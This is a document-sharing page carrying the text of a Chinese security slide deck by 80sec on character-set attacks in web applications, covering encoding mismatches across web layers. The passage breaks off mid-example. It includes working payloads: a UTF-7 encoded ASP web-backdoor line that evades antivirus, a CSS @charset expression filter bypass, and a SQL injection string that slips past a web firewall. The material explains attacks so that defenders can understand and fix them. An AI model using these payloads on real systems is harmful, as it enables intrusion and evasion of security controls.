Web应用程序中的字符集攻击..ppt

  1. 1、本文档共33页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Web应用程序中的字符集攻击.

Web应用程序中的字符集攻击 By 80sec 目录 为什么要讨论字符集攻击 字节流和数据的本质 web架构层次 web数据处理流程 字符集处理过程中可能出现的安全问题 web各个层中的字符集攻击 其他可能出现的攻击 在应用程序中避免出现字符集问题 为什么要讨论字符集攻击 在某些东方国家里这种攻击变得越来越普遍 很多程序人员对这种攻击还不是很了解 通过分析受字符集漏洞影响的各类WEB程序及其实际应用,我们可以更深入的了解和修正此类安全问题 字节流和数据的本质 字节流本身是一段无意义的数据,在计算机里由二进制表示,程序在处理字节流的时候,必须按照一定的规则来判断数据的意义,这个规则就是字符集。譬如同样的一个HTML,在不同的字符集情况下可能会显示乱码,就是理解数据的方式不对,导致问题发生(最终的意义发生改变),这种问题某种情况下就会导致漏洞 三个阶段的编码 单字节编码(Single Byte Character Set/SBCS包括ascii和一些控制字符) 多字节编码(MBCS/DBCS) 国际化编码(Unicode如utf-8等等) WEB架构层次 一个正常的web请求数据处理流程: 1 浏览器根据页面指定的字符集将提交的表单处理好发送到指定的服务器 2 如果有IDS/Web firewall就会检查提交的数据里有不有跟规则相匹配的非法数据 3 被firewall允许的请求将抵达webserver如apache和iis等 4 apache和iis将得到的数据按照自身的配置解码,解析整个请求,然后通过内建的一些规则决定请求是抛弃还是处理 5 符合要求的数据包将进入apache和iis的处理流程,一般被建立在POST,GET,REQUEST等变量里(IIS里php和asp的不同) 6 webapp通过建立的环境变量来处理整个请求,包括与服务器文件系统进行的交互,与服务器shell进行交互,与数据库服务器进行交互 7 文件服务器或者数据库服务器从webapp得到命令,执行成功之后将返回数据给webapp或者将数据保存,整个数据反向再进行一次。 8 最后数据回到用户的浏览器,浏览器通过请求指定的字符集将页面处理结果显示处理。 字符集处理过程中可能出现的安全问题 上下层使用的字符集不一致,导致数据的意义出现问题 处理多字节字符集时出现问题 对于非法数据的处理上理解不一致 某些字符集的天生缺陷 数据库里的校对规则(前后使用字符集不一致就出现问题) 其他攻击 Utf-7编码 一种可变长度字符编码方式,用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用 只包括ascii字符,不会被过滤 Web hacker最喜欢的编码 MBCS编码 GBK,GB2312,Big5…… Unicode编码 被广泛使用的国际编码如Utf-8编码,数据有自我校验性 上下层使用的字符集不一致,导致数据的意义出现问题 Web是一个复杂的系统 各层之间都需要对数据做出适当的解释 理解不一致就出现问题 例子 恶意脚本Bypass杀毒软件 杀毒软件无法识别数据中的字符集 客户端恶意脚本bypass以关键字检测为基础的杀毒软件 恶意网站逃避查杀 服务器端脚本利用字符集逃避杀毒软件的查杀 被用于各种web后门 %@ codepage=65000%%e+x-x+x-e+x-c+x-u+x-t+x-e+x-(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-(+x-+ACI-c+ACI)+x-)+x-% 应用程序的防护策略被绕过 Baidu css filter bypass Blacklist策略:expression @import /**/ javascript….. 允许@charset Exploit @charset utf-7;body{80sec:expre/+ACoAKg/ssion(if(!window.x){alert(1);window.x=1})} Ids/web app firewall bypass Ids/firewall 模型 Ids/firewall处于web数据流的第二层却要保护位于第五层的应用程序,数据处理上的歧义将导致漏洞 处理不一致导致的bypass( webknight ) asp?test=‘ and user0-- //Blocked asp?test=%‘ and user0-%-//Bypass asp在处理参数时会抛弃不合法的数据-%-的%被抛弃(aspx无效) 在某些字符集情况由于上下层处理不一致导致更难保护,如下的asp脚本(IE8 Xss Filter 失效) %@ codepage=65001% % response.write(Se

文档评论(0)

叮当文档 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档